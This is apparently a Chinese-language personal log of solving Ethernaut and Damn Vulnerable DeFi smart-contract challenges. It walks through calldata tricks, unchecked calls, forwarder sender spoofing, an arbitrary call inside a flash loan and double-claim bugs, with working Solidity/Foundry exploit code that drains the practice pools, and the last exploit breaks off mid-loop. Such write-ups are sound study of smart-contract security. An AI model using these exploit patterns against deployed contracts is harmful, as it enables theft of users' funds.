過程中好像 Submit Instance 按太快,導致關卡通過一直失敗,一頭霧水XD
- 繼續進行每日解一題挑戰
主要是考 Calldata 的 Layout 的一題,不難,值得一看。
-
破關條件:使
switchOn
為 True。 -
解法:
- 為了使
switchOn
為 True,我們必須使Switch
合約自己呼叫turnSwitchOn()
函數 - 由於存在
onlyThis
modifier 的關係,我們唯一的進入點是flipSwitch(bytes memory _data)
函數 - 我們必須透過
.call(_data)
來調用turnSwitchOn()
但同時通過onlyOff
的檢查 onlyOff
會檢查從 calldata 起開始算,第 68 bytes 到第 72 bytes 必須是turnSwitchOff()
的 selector。(也就是0x20606e15
)
- 為了使
-
我們可以試著把
flipSwitch(bytes memory _data)
拆解出來,看它的整段 calldata 預計會長什麼樣子: -
每一行都是一段 32bytes 資料
30c13ade # flipSwitch(bytes memory _data)
???????????????????????????????????????????????????????????????? # 暫時留空,待會填入
???????????????????????????????????????????????????????????????? # 暫時留空,待會填入
20606e1500000000000000000000000000000000000000000000000000000000 # turnSwitchOff()
- 好的,我們找到
turnSwitchOff()
要塞在哪裡了,接下來要把bytes memory _data
的偏移量(offset)和長度(length)填進去 - 偏移量是什麼?偏移量代表從 calldata 的起點,要離多遠才會指到
bytes memory _data
的長度(length) - 記住: 動態資料結構的 Layout 是
offset + length + data
30c13ade # flipSwitch(bytes memory _data)
0000000000000000000000000000000000000000000000000000000000000020 # bytes memory _data 的偏移量。從 0 點加上 32 bytes 可以指向 length 所以是 0x20
0000000000000000000000000000000000000000000000000000000000000004 # bytes memory _data 的長度,總長度只有 4 bytes
20606e1500000000000000000000000000000000000000000000000000000000 # turnSwitchOff()
- 好的,目前我們已經可以成功通過
onlyOff
的檢查了。可是我們要怎麼利用address(this).call(_data)
來呼叫到turnSwitchOn()
函數呢? - 我們可以回頭整理一下,目前
_data
會是什麼資料:
0000000000000000000000000000000000000000000000000000000000000020 # bytes memory _data 的偏移量。從 0 點加上 32 bytes 可以指向 length 所以是 0x20
0000000000000000000000000000000000000000000000000000000000000004 # bytes memory _data 的長度,總長度只有 4 bytes
20606e1500000000000000000000000000000000000000000000000000000000 # turnSwitchOff()
- 誒...既然程式不會對偏移量和資料長度做任何檢查,是不是意味著我們可以直街操縱偏移量和長度,使它執行我們想要執行的任何函數呢?
- 畢竟只要不動到
turnSwitchOff()
calldata 的位置就好了,動到它就通過不了onlyOff
的檢查了。 - 試著自己構造看看:
30c13ade # flipSwitch(bytes memory _data)
???????????????????????????????????????????????????????????????? # 原先 bytes memory _data 的偏移量,暫時留空,待會填入
???????????????????????????????????????????????????????????????? # 原先 bytes memory _data 的長度,暫時留空,待會填入
20606e1500000000000000000000000000000000000000000000000000000000 # turnSwitchOff()
???????????????????????????????????????????????????????????????? # 暫時留空,待會填入
76227e1200000000000000000000000000000000000000000000000000000000 # turnSwitchOn()
- 好的,現在把呼叫
address(this).call(_data)
裡面的_data
的前 4 bytes 放進來了 - 接下來一樣需要調整這一段
_data
的總長度:
30c13ade # flipSwitch(bytes memory _data)
???????????????????????????????????????????????????????????????? # 原先 bytes memory _data 的偏移量,暫時留空,待會填入
???????????????????????????????????????????????????????????????? # 原先 bytes memory _data 的長度,暫時留空,待會填入
20606e1500000000000000000000000000000000000000000000000000000000 # turnSwitchOff()
0000000000000000000000000000000000000000000000000000000000000004 # 這裡代表 turnSwitchOn() 的 4bytes 長度
76227e1200000000000000000000000000000000000000000000000000000000 # turnSwitchOn()
- 有了
address(this).call(_data)
的_data
的長度之後,需要再調整 offset
30c13ade # flipSwitch(bytes memory _data)
0000000000000000000000000000000000000000000000000000000000000060 # bytes memory _data 的偏移量,跳轉到加料過的 calldata 長度定位點
???????????????????????????????????????????????????????????????? # 原先 bytes memory _data 的長度,暫時留空,待會填入
20606e1500000000000000000000000000000000000000000000000000000000 # turnSwitchOff()
0000000000000000000000000000000000000000000000000000000000000004 # 這裡代表 turnSwitchOn() 的 4bytes 長度
76227e1200000000000000000000000000000000000000000000000000000000 # turnSwitchOn()
- 原先 bytes memory _data 的長度,已經不重要了,因為我們已經用新的長度定位點來取代
- 所以留空就好
- 最後我們得到:
30c13ade # flipSwitch(bytes memory _data)
0000000000000000000000000000000000000000000000000000000000000060 # bytes memory _data 的偏移量,跳轉到加料過的 calldata 長度定位點
0000000000000000000000000000000000000000000000000000000000000000 # 原先 bytes memory _data 的長度,已經不重要,亂填都可以
20606e1500000000000000000000000000000000000000000000000000000000 # turnSwitchOff()
0000000000000000000000000000000000000000000000000000000000000004 # 這裡代表 turnSwitchOn() 的 4bytes 長度
76227e1200000000000000000000000000000000000000000000000000000000 # turnSwitchOn()
- 最後我們用來發起呼叫
flipSwitch(bytes memory _data)
的_data
就是:
bytes memory data = hex"30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000"
- 繼續進行每日解一題挑戰
-
過關條件: 使
treasury
的內容值變成大於 255 -
解法:
- 這題的關鍵點在於
pragma solidity 0.6.12;
- 在 Solidity 0.8.0 以前,編譯器用的是
ABIEncoderV1
- 使用
ABIEncoderV1
意味著編譯出來的合約,並不會對 calldata 做邊界檢查 - https://docs.soliditylang.org/en/v0.8.1/080-breaking-changes.html?highlight=abicoder#silent-changes-of-the-semantics
- 所以我們手動建構 calldata 丟進去就可以了,不用管 calldata 有
uint8
的限制 - 要修復此問題,我們可以在合約指定
pragma experimental ABIEncoderV2;
即可 - 我做了兩個版本的 forge 腳本,一個是 for 通關用的
forge script Ethernaut30-Switch.s.sol:Solver -f $RPC_OP_SEPOLIA -vvvv --broadcast
- 另一個是相同的通關腳本,但是使用了上 patch 的關卡,執行下去可以發現會
revert()
forge script Ethernaut30-Switch.s.sol:SolverV2 -f $RPC_OP_SEPOLIA -vvvv
- 這題的關鍵點在於
- 繼續進行每日解一題挑戰
-
過關條件:
Stake
合約內的以太幣餘額大於 0totalStaked
必須大於Stake
合約的以太幣餘額- 我們必須成為一個
Stakers
- 我們的
UserStake
必須為 0
-
解法:
- 這個合約是 Solidity 0.8.0 編譯的,所以 overflow/underflow 看起來是不可行了
- 所以看起來
StakeETH()
沒什麼漏洞
- 所以看起來
Unstake()
看起來有一個小問題: 沒有要求bool success
必須為 True0xdd62ed3e
是allowance(address,address)
0x23b872dd
是transferFrom(address,address,uint256)
- 由於沒有給出
WETH
的代碼,我們就先樂觀地假定它是一個正常的 ERC20 合約,漏洞不出在它身上 (,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this)));
這邊沒有檢查 call 是否成功,只有把 return value 當作 uint256 做後續處理- 由於不清楚
WETH.allowanapprovece(address,address)
的具體實現方式,所以我們也不知道allowance
究竟會是什麼值 - 但是題目說明提示我們要看 ERC20 的實現方式,我們可以樂觀的認為 WETH 應該也是個繼承了 ERC20 的合約
bytesToUint(bytes memory data)
函數看起來也挺正常的,漏洞應該不在這裡。(bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
沒有檢查 transfered 是否成功,即便transfered == false
也給過!!!- 這意味著我們有沒有 WETH 都沒差
- 從這一個思路往下看,似乎也沒有任何地方聲明有發給我們一些
WETH
- 從這一個思路往下看,似乎也沒有任何地方聲明有發給我們一些
- 那我們就可以從這一點開始思考怎麼建構 exploit 了
- 這個合約是 Solidity 0.8.0 編譯的,所以 overflow/underflow 看起來是不可行了
-
解法總結:
- 使用我們自己的 EOA 錢包
- 呼叫
StakeETH{value: 0.001 ether + 1}()
來滿足條件 1 和 3 - 呼叫
Unstake(amount=0.001 ether + 1)
來滿足條件 4,但同時取消滿足了 1 - 目前只有滿足 3 和 4,我們先來思考怎麼滿足條件 2
- 呼叫
- 寫一個合約 (為了不要使用 EOA 錢包,保持滿足條件 4)
- 呼叫
StakeWETH(amount=0.001 ether + 1)
來滿足條件 2- 在這之前會需要呼叫
approve(address,uint256)
- 在這之前會需要呼叫
- 呼叫
StakeETH()
然後在Unstake()
來滿足條件 1- 記得要保留 1 wei 在裡面才能滿足條件 1
- 呼叫
- 把合約
destruct()
掉,把過程中用到的 0.001 ether 轉回來給 EOA
- 使用我們自己的 EOA 錢包
- 繼續進行每日解一題挑戰
- 過關條件: 使
_isSolved()
通過執行 - 合約代碼解讀筆記:
- 從
_isSolved()
的代碼注視我們可以觀察到,我們需要使Monitor.checkFlashLoan()
的 vault.flashLoan() 拋出 Error- 這樣才能使
Vault
被 paused 並且 transferOwner 給 deployer
- 這樣才能使
- 所以,我們基本上只需要重點關注
Vault.flashLoan()
裡面的漏洞即可,其他的程式碼大概都是煙霧彈 - 有四個地方可以讓
Vault.flashLoan()
執行過程中拋出錯誤- revert InvalidAmount(0);
- revert UnsupportedCurrency();
- revert InvalidBalance();
- revert CallbackFailed();
revert InvalidAmount(0);
這個不可能,因為 Monitor 已經在這裡把 amount 寫死了revert UnsupportedCurrency();
也不可能,因為 Monitor 一樣在這裡寫死了,這裡的.asset()
是一個immutable
,完全沒有操縱的可能性revert CallbackFailed();
基本上也不太可能- 因為看起來
Monitor.UnexpectedFlashLoan()
error 也基本上沒辦法被Vault
合約觸發到
- 因為看起來
- 唯一比較有機會的感覺是觸發
revert InvalidBalance();
- 這可能會需要我們操縱
balanceBefore
- 順帶一提,有
balanceBefore
但是沒有balanceAfter
本身感覺就蠻奇怪的 - 已知
balanceBefore
可以視為asset.balanceOf(address(this))
- 即: 在
Vault
提供呼叫者 flashLoan 之前,Vault 持有多少個asset
- 現在思考的點: 如何使 Monitor 在呼叫
Vault.flashLoan()
的時候,使 convertToShares(totalSupply) != balanceBefore 返回 True? - 我們從
Vault
的程式碼中可以觀察到一件事: 這個合約基本上不存在對 ERC4626 的 supply 和 shares 的額外操作 - 那麼就意味著沒意外的話,我們可以認為
convertToShares(totalSupply)
是樂觀地假定返回值會始終等於Vault
合約持有的 DVT 代幣數量 - 但萬一 Vault 持有的 DVT 代幣數量已經被操縱了呢?那麼
convertToShares(totalSupply)
的返回值就會和Vault
合約實際持有的 DVT 代幣數量對不上 - 對不上的話,任何人來呼叫
Vault.flashLoan()
就都會拋出InvalidBalance()
Error
- 從
- 解法整理:
- 利用關卡一開始發給我們的 10 顆 DVT 代幣
- 把這 10 顆 DVT 代幣轉帳給
Vault
合約 - 使它
convertToShares(totalSupply) == balanceBefore == asset.balanceOf(address(this))
對不上來 - 對不上來的時候,就會讓任何人(包含
Monitor
)呼叫Vault.flashLoan()
時,拋出revert InvalidBalance();
- 當 Monitor 遇到
revert InvalidBalance();
error 的時候,就會把Vault
paused 掉、把 owner 轉回給deployer
- 解法代碼:
function test_unstoppable() public checkSolvedByPlayer {
token.transfer(address(vault), 10e18);
}
-
心得: 哎呀,解法其實超簡單,Damn Vulnerable DeFi 系列感覺是花更多時間在理解題目的代碼在寫什麼,蠻考驗 Code Review/Audit 的能力...
- 繼續進行每日解一題挑戰
- 過關條件: 把
NaiveReceiverPool
和FlashLoanReceiver
合約的 WETH 餘額全部轉到題目指定的 recovery 帳號NaiveReceiverPool
有 1000 顆 WETHFlashLoanReceive
有 10 顆 WETH
- 合約代碼解讀筆記:
- 從題目名稱來猜測,這題大概率是一個"輸入參數未經驗證"之類的漏洞
- 既然要榨乾
NaiveReceiverPool
和FlashLoanReceiver
合約的餘額,那首先看一下有沒有相關代碼可以觸發這件事 - 只有三個地方可以做到這件事:
NaiveReceiverPool
合約的 external 函數都沒有什麼訪問限制(沒有modifier),只有驗證傳入的token
是否為 WETH 而已FlashLoanReceiver
看起來有一個可能觸發 overflow/underflow 的地方 amountToBeRepaid = amount + fee;- 但是,實際上好像沒什麼用。
- 原本想讓
FlashLoanReceiver
approve 10 顆 WETH 給NaiveReceiverPool
,然後NaiveReceiverPool
就有 1000 + 10 WETH 可以被轉走。 - 這條路看起來是行不通的。畢竟 Pool 只是 transferFrom 了原本發起的借款額 + 1 顆 WETH,
FlashLoanReceiver
原本持有的 10 顆還是會繼續留在FlashLoanReceiver
。
- 那麼,要把
FlashLoanReceiver
的 10 顆 WETH 榨乾,看起來只剩下透過flashLoan()
的FIXED_FEE
,一點一點地把 Receiver 的 WETH 轉到 Pool 去。 - 所以
FlashLoanReceiver
需要發起 10 次flashLoan()
來把自己的 WETH 當作 Fee 被 Pool 收繳走 - 然後我們再來想辦法把
NaiveReceiverPool
持有的 WETH 榨乾。 - 要把
NaiveReceiverPool
持有的 WETH 榨乾,從剛剛的分析我們可以知道透過flashLoan()
基本上是行不通的。- 因為即使
transfer()
1000 顆走,還是會被transferFrom()
1000+1 顆回來
- 因為即使
- 所以唯一的路剩下
withdraw()
- 我們先看
totalDeposits -= amount;
是否可能不夠扣 - 在 deploy
NaiveReceiverPool
的時候,totalDeposits
也增加了 1000 顆 WETH - 所以,
totalDeposits
應該會是 (部署時放進去的 1000 顆 WETH +NaiveReceiver
被收繳的手續費 10 顆 WETH)- 也就是說
totalDeposits
至少有 (1000 + 10)e18 - 足夠讓我們發起
withdraw(amount=1010e18)
了
- 也就是說
- 再來要思考
deposits[_msgSender()] -= amount;
中存在的漏洞 - 從 _msgSender() 的代碼 中我們可以觀察到,當 caller 是
BasicForwarder
合約的時候,我們就有機會操縱_msgSender()
的返回值 BasicForwarder
基本上是要我們建構基於 EIP712 簽名過的 Request,然後BasicForwarder
合約就會幫我們代為呼叫 Request- Request 裡面要塞什麼?
- 利用
multicall()
幫我們做一系列動作- 呼叫十次
flashLoan(receiver=FlashLoanReceiver, token=WETH, amount=1e18, data="")
函數 (為了把 Receiver 持有的 WETH 透過手續費的方式給到 Pool) - 用 low-level call 的方式,呼叫
withdraw(amount=1020e18, receiver=tx.origin)
,並且在 calldata 內附加deployer
的地址- 必須用 low-level call 的方式,才能使
_msgSender()
返回deployer
的地址 - 以便於通過
deposits[_msgSender()] -= amount;
- 必須用 low-level call 的方式,才能使
- 呼叫十次
- 利用
- 怎麼把 Request 塞給
BasicForwarder.execute(Request calldata request, bytes calldata signature)
?request.from
是自己request.target
當然是 poolrequest.value
雖然可以使用 payable 但這邊用不到,所以塞 0 即可request.gas
隨便塞個大數都可以,就塞 3000m 好了request.nonce
因為我們在 Foundry 玩,用的是 test account,所以塞 0 就好request.data
按照上述所說,組成一個multicall()
的呼叫request.deadline
不重要,給個大數或block.timestamp
都可以
- 最後再依照 EIP712 的標準,算出 signature,應該就可以調用
BasicForwarder.execute()
來通過了
將上述的解題想法組成一部分偽代碼
- 先組建
NaiveReceiverPooll.multicall(bytes[] calldata data)
的 ABI Calldata
# 已知會有 10 + 1 組 data
# 前 10 組 - 用來把 receiver 的 WETH 透過手續費的方式,轉給 pool
# flashLoan(receiver=FlashLoanReceiver, token=WETH, amount=1e18, data="")
data[0] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(WETH), 1e18, bytes("")))
data[1] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(WETH), 1e18, bytes("")))
data[2] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(WETH), 1e18, bytes("")))
data[3] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(WETH), 1e18, bytes("")))
data[4] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(WETH), 1e18, bytes("")))
data[5] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(WETH), 1e18, bytes("")))
data[6] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(WETH), 1e18, bytes("")))
data[7] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(WETH), 1e18, bytes("")))
data[8] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(WETH), 1e18, bytes("")))
data[9] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(WETH), 1e18, bytes("")))
data[10] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(WETH), 1e18, bytes("")))
# 第 11 組 - 利用 _msgSender() 藏的後門,把 pool 的資金全部提走
# withdraw(amount=1010e18, payable receiver=player) + address(deployer)
data[11] = abi.encodeCall(pool.withdraw, (1000e18+10e18, payable(player)), deployer)
- 把
NaiveReceiverPooll.multicall(bytes[] calldata data)
組成一個BasicForwarder.Request
BasicForwarder.Request({
from: player,
value: 0,
gas: 30000000,
nonce: 0,
data: abi.encodeCall(pool.multicall, data),
deadline: type(uint256).max
})
- 算出
BasicForwarder.Request
的 signature
digest = keccak256(abi.encodePacked(
"\x19\x01",
forwarder.domainSeparator(),
forwarder.getDataHash(request)
))
(uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPk, digest);
bytes memory signature = abi.encodePacked(r, s, v);
- 執行
BasicForwarder.execute(request, signature);
- 現在 player 應該持有所有的 WETH 了,轉去
recovery
帳號去,破關
解答程式碼:
import {IERC3156FlashBorrower} from "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
function test_naiveReceiver() public checkSolvedByPlayer {
bytes[] memory data = new bytes[](11);
BasicForwarder.Request memory request;
bytes memory signature;
//---------------
data[0] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
data[1] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
data[2] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
data[3] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
data[4] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
data[5] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
data[6] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
data[7] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
data[8] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
data[9] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
data[10] = abi.encodePacked(abi.encodeCall(pool.withdraw, (1010e18, payable(player))), deployer);
//---------------
request = BasicForwarder.Request({
from: player,
target: address(pool),
value: 0,
gas: 30000000,
nonce: 0,
data: abi.encodeCall(pool.multicall, (data)),
deadline: type(uint256).max
});
//---------------
bytes32 digest = keccak256(abi.encodePacked(
"\x19\x01",
forwarder.domainSeparator(),
forwarder.getDataHash(request)
));
(uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPk, digest);
signature = abi.encodePacked(r, s, v);
//---------------
forwarder.execute(request, signature);
weth.transfer(recovery, 1010e18);
}
- 繼續進行每日解一題挑戰
- 今天這一題 Truster 的解法比較簡單,解法也比較快
- 所以另外花了時間複習了一下昨天解題需要知道的 EIP712 標準
-
過關條件: 把
TrusterLenderPool
合約持有的 DVT 代幣餘額榨乾- 已知
TrusterLenderPool
有 100 萬顆 DVT 代幣 - 並且沒有發給我們任何 DVT 代幣
- 我們只能有
TrusterLenderPool.flashLoan()
函數可以呼叫
- 已知
-
解法:
- 這一題的合約代碼簡單許多,只有
TrusterLenderPool.flashLoan()
需要關注 - 所以漏洞肯定藏在
TrusterLenderPool.flashLoan()
裡面 - 但
flashLoan()
有個限制: 閃電貸之後,balance 必須大於balanceBefore
- 並且這個函數有重入保護
- 所以唯一可疑的地方就在 target.functionCall(data) 了
- 此處的 target.functionCall(data) 是一個非常明顯很不安全的作法
- 一般來說,正常的閃電貸應該會是 callback 到調用者的 context 裡面,讓調用者(borrower)來決定拿到貸款後要做什麼操作
- 可是這邊,很明顯的是由
TrusterLenderPool
代為操作 - 即:
TrusterLenderPool
存在任意代碼執行漏洞 - 所以我們現在知道,我們可以以
TrusterLenderPool
的身份,去執行我們想做的任意 Operations - 那麼現在問題在於,我們應該怎麼透過這個漏洞把 DVT token 偷走呢?有
balanceBefore
檢查耶 - 答案就是利用
ERC20.approve()
,讓TrusterLenderPool
給我們的帳號授予 spender 轉帳權限就好了
- 這一題的合約代碼簡單許多,只有
-
先構造解答程式碼出來:
function test_truster() public checkSolvedByPlayer {
uint256 amount = 1;
address borrower = address(pool);
address target = address(token);
bytes memory data = abi.encodeWithSignature("approve(address,uint256)", player, type(uint256).max);
pool.flashLoan(amount, borrower, target, data);
token.transferFrom(address(pool), recovery, TOKENS_IN_POOL);
}
- 你會發現這時候執行
forge test --match-path test/truster/Truster.t.sol -vvvv
是會得到 revert 的 [FAIL. Reason: Player executed more than one tx: 0 != 1] test_truster()
- 因為題目要求我們必須只能用一個 transaction 來解答
- 但我們可以偷偷把 assertEq(vm.getNonce(player), 1) 註解掉
- 再次執行,是會成功運行的,代表我們的漏洞利用思路是正確的
- 只差要把 Exploit 寫成一個 Contract,再丟去執行即可
- 所以我們再次修改 Exploit Code 即可
function test_truster() public checkSolvedByPlayer {
new Exploit(token, pool, recovery, TOKENS_IN_POOL);
}
contract Exploit {
constructor(DamnValuableToken token, TrusterLenderPool pool, address recovery, uint256 TOKENS_IN_POOL) {
uint256 amount = 1;
address borrower = address(pool);
address target = address(token);
bytes memory data = abi.encodeWithSignature("approve(address,uint256)", address(this), type(uint256).max);
pool.flashLoan(amount, borrower, target, data);
token.transferFrom(address(pool), recovery, TOKENS_IN_POOL);
}
}
- 繼續進行每日解一題挑戰
- 過關條件: 把
SideEntranceLenderPool
合約持有的 1000 顆 ETH 偷走,轉到 recovery 帳號 - 解法:
- 這題有點水,直接講解法
- 我們只要發起
flashLoan()
呼叫 - 在
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
的 callback context 中,呼叫deposit()
把閃電貸借款直接存進去 - 因為
SideEntranceLenderPool
只是單純的檢查flashLoan()
前與後的 balance,所以利用這種方式就可以讓我們憑空增加balances[msg.sender]
- 最後再呼叫
withdraw()
把SideEntranceLenderPool
合約的 ETH 幹走即可
function test_sideEntrance() public checkSolvedByPlayer {
Exploit exp = new Exploit(pool, ETHER_IN_POOL);
exp.start();
payable(recovery).transfer(ETHER_IN_POOL);
}
contract Exploit {
SideEntranceLenderPool pool;
uint256 ETHER_IN_POOL;
constructor(SideEntranceLenderPool _pool, uint256 _ETHER_IN_POOL) {
pool = _pool;
ETHER_IN_POOL = _ETHER_IN_POOL;
}
function start() external {
pool.flashLoan(ETHER_IN_POOL);
pool.withdraw();
payable(msg.sender).transfer(address(this).balance);
}
function execute() external payable {
pool.deposit{value: msg.value}();
}
receive() external payable {}
}
- 繼續進行每日解一題挑戰 -> 挑戰失敗🥲
- 今天卡關,花了比較多時間在理解題目代碼
- 先把解題紀錄寫下來,明天繼續補
- 過關條件:
TheRewarderDistributor
合約的 DVT 代幣餘額低於 0.01 顆TheRewarderDistributor
合約的 WETH 代幣餘額低於 0.001 顆- 上述資產都被轉到
recovery
帳號
- 解法
- 這一題的知識背景主要是 Bitmap 與 Merkle Tree
- 先從 Merkle Tree 的部分開始看
- 已知 Claimable Leaves 是
/test/the-rewarder/dvt-distribution.json
與/test/the-rewarder/weth-distribution.json
紀錄的內容- 每個 Leaf 存在
address
和可領取的amount
元素 bytes32 leaf = keccak256(abi.encodePacked(address, amount));
- 誰左誰右基本上是看 leaf 值誰大誰小
- 每個 Leaf 存在
player
地址也有少量可領取的 distribution (見下方第一段程式碼)- 要達成過關條件,我第一個想到的是有沒有透過
clean(IERC20[] calldata tokens)
做到- 但我們必須要使
distributions
全部被發出去
- 但我們必須要使
- 我們操縱的錢包,被限制在只能使用
player
,所以沒辦法直接利用- 所以通過
if (distributions[token].remaining == 0)
基本上沒可能了,畢竟我們只能 claimplayer
的微量 distributions
- 所以通過
- 在
createDistribution()
身上搞事也沒辦法,因為要把 DVT, WETH 偷走,想搞事會遇到if (distributions[token].remaining != 0) revert StillDistributing();
語句 - 那麼可以搞事的地方就剩下
claimRewards()
了 - 首先好奇的地方是:
claimReward()
是如何判斷一個錢包地址已經 Claim 過了?有沒有可能存在 Double Claim 的可能性? TheRewarderDistributor
採用了 Bitmap 資料結構來紀錄哪些Claim
已經被 claimed 走了- 用 Bitmap 的好處是可以減少 Storage Slot 的冷存取,增加同一個 32 bytes 記憶體空間的熱存取次數
- 因為可以把多個
Claim
紀錄,透過 Bitmap 塞在同一個 Storage Slot
- 因為可以把多個
- 尤其 Bitmap 的特長是在紀錄 Binary 特性的紀錄,例如: 有領過 / 沒有領過
- 也就是那些只需要用 1 bit 來紀錄有 or 沒有的資料
- 如果說我們使用
mapping(address => bool)
來紀錄哪些地址領取過 distribution 會比較浪費空間- 畢竟一個 256 bit 的 storage slot 你只使用了 1 bit
- Bitmap 想解決的問題是: 找到某種方法,讓我們可以在一個 256 bit 的 storage slot 塞入 256 個 bool flag,這樣就不浪費空間了
- 具體來說,Bitmap 會需要將你的資料結構做分組
- 可以想像成電影場次。
- 第一場第n個座位、第二場第n個座位、第三場第n個座位。
- 這個分組方式是取商數
- 舉例來說,總共有 1000 個人想要排隊進場看電影
- 但是每個影廳只能塞 256 人
- 那麼第 873 人,就會排在
873/256 + 1 = 4
第四場次 (+1 只是為了人類可讀, 因為沒有第零場次這種說法...) - 第 257 人就會排在
257/256 + 1 = 2
第二場次 - 第 555 人就會排在
555/256 + 1 = 3
第三場次 - 前 256 人自然就是排在第一場次
- bool 資料要放在哪裡,就會是取餘數
- 舉例來說,總共有 1000 個人想要排隊進場看電影
- 但是每個影廳只能塞 256 人
- 那麼第 873 人,就會排在
873 % 256 = 105
第四場次第 105 號座位 - 第 257 人就會排在
257 % 256 = 2
第二場次第 1 號座位 - 第 555 人就會排在
555 % 256 = 43
第三場次第 43 號座位
- 我們將商數的部分叫做 bucket,代表第幾場次
- 我們將餘數的部分叫做 bit,代表在這 256 個座位中,坐在第幾號座位
- 電腦如何為報到者做畫押簽到呢?取決於實施者,通常透過位元運算符來做到的
- 以
AND
運算符舉例 - 我們去一個只能容納 8 個人的影廳,我的座位號碼是
5
- 在清場的時候,座位沒人坐,所以座位的狀態是長這樣:
00000000
- 我的座號是 5,從右邊數來,我應該是會坐在
00010000
- 電腦如何為我簽到畫押? 當然是從最右邊向左移 5 個位置
- 寫成程式就是:
uint256 your_position = (1 << bit);
這邊的 1 代表我這個人的屁股確實坐下去了(?) - 電腦怎麼判斷我有沒有重複報到? 只需要做
AND
就可以知道了。- 因為我的屁股的狀態要馬是坐下去了,不然就是還沒坐
- 寫成程式就是:
bitmap._data[bucket] & mask) != 0
- 如果是
== 1
就代表我重複了相同的狀態 -> 非法狀態 (已經進場了還要再進場一次)
- 如果是
- 以
- 這一篇文章把 Bitmap 的代碼解釋的蠻好的,推一個
- 回到題目程式碼,理解出 Bitmap 分組索引的實施在哪裏
- Claim.batchNumber 是電影院票號 (還沒兌換成進場座位)
- wordPosition 代表第幾場次
- bitPosition 是該場次的座位
_setClaimed()
函數主要有兩個作用- 檢查給入的
Claim
物件是否重複 Claim 了,重複就會引發revert AlreadyClaimed()
- 將
Claim
物件設置為已領取
- 檢查給入的
- 已知有效的
tokenIndex
只有0
與1
分別代表 DVT 與 WETH if (token != inputTokens[inputClaim.tokenIndex])
這組語句我感覺很奇怪,因為首輪迴圈 token 基本上是0x00
- 所以應該不管怎麼樣都不太會碰到第一條
_setClaimed(token, amount, wordPosition, bitsSet)
才對 - 我懷疑是煙霧彈...
- 所以應該不管怎麼樣都不太會碰到第一條
- 所以應該可以默認
if (address(token) != address(0))
應該一定會返回 False 才對 - 如果是 False, 接在下面的語句看起來是做好下一輪迴圈
token
bitsSet
amount
指向第一輪的正常值 - 🤔 呃... 最詭異的地方居然是在最後一個 Claim 才呼叫
_setClaimed()
嗎...? - 感覺漏洞應該是出在這裡沒錯了,它只對最後一輪的 bitsSet 做已領取的設置。
- 前面的 Claim 通通都沒有
_setClaimed()
到,但是前面的每一個inputClaim.amount
都轉給我們了 - 也就是說,我應該可以發起傳入多個相同的 Claim。把合約的 DVT WETH 餘額榨乾
- 已知
alice
地址的Claim
會在 batch0-index2 - 我們可以找到
player
地址的Claim
會在 batch0-index189
function test_theRewarder() public checkSolvedByPlayer {
console.log(player); // 0x44E97aF4418b7a17AABD8090bEA0A471a366305C
}
function test_theRewarder() public checkSolvedByPlayer {
bytes32[] memory dvtLeaves = _loadRewards("/test/the-rewarder/dvt-distribution.json");
bytes32[] memory wethLeaves = _loadRewards("/test/the-rewarder/weth-distribution.json");
/**
* 計算需要重複 Reclaim 多少次才能滿足題目要求
* WETH reclaim 次數 = (distributor持有量) / (player單次可領取量)
* DVT reclaim 次數 = (distributor持有量) / (player單次可領取量)
*/
uint256 DVT_in_distributor = dvt.balanceOf(address(distributor));
uint256 WETH_in_distributor = weth.balanceOf(address(distributor));
uint256 player_claimable_DVT = 11524763827831882;
uint256 player_claimable_WETH = 1171088749244340;
uint256 total_reclaim_times_DVT = DVT_in_distributor / player_claimable_DVT;
uint256 total_reclaim_times_WETH = WETH_in_distributor / player_claimable_WETH;
uint256 total_reclaims_times = total_reclaim_times_DVT + total_reclaim_times_WETH;
console.log("[Before Attack] dvt.balanceOf(distributor): ", DVT_in_distributor);
console.log("[Before Attack] weth.balanceOf(distributor): ", WETH_in_distributor);
/**
* 建構 claimRewards(Claim[] memory inputClaims, IERC20[] memory inputTokens) 的參數
*/
IERC20[] memory inputTokens = new IERC20[](2);
inputTokens[0] = IERC20(address(dvt));
inputTokens[1] = IERC20(address(weth));
Claim[] memory inputClaims = new Claim[](total_reclaims_times);
for (uint256 i; i < total_reclaims_times; ++i) {
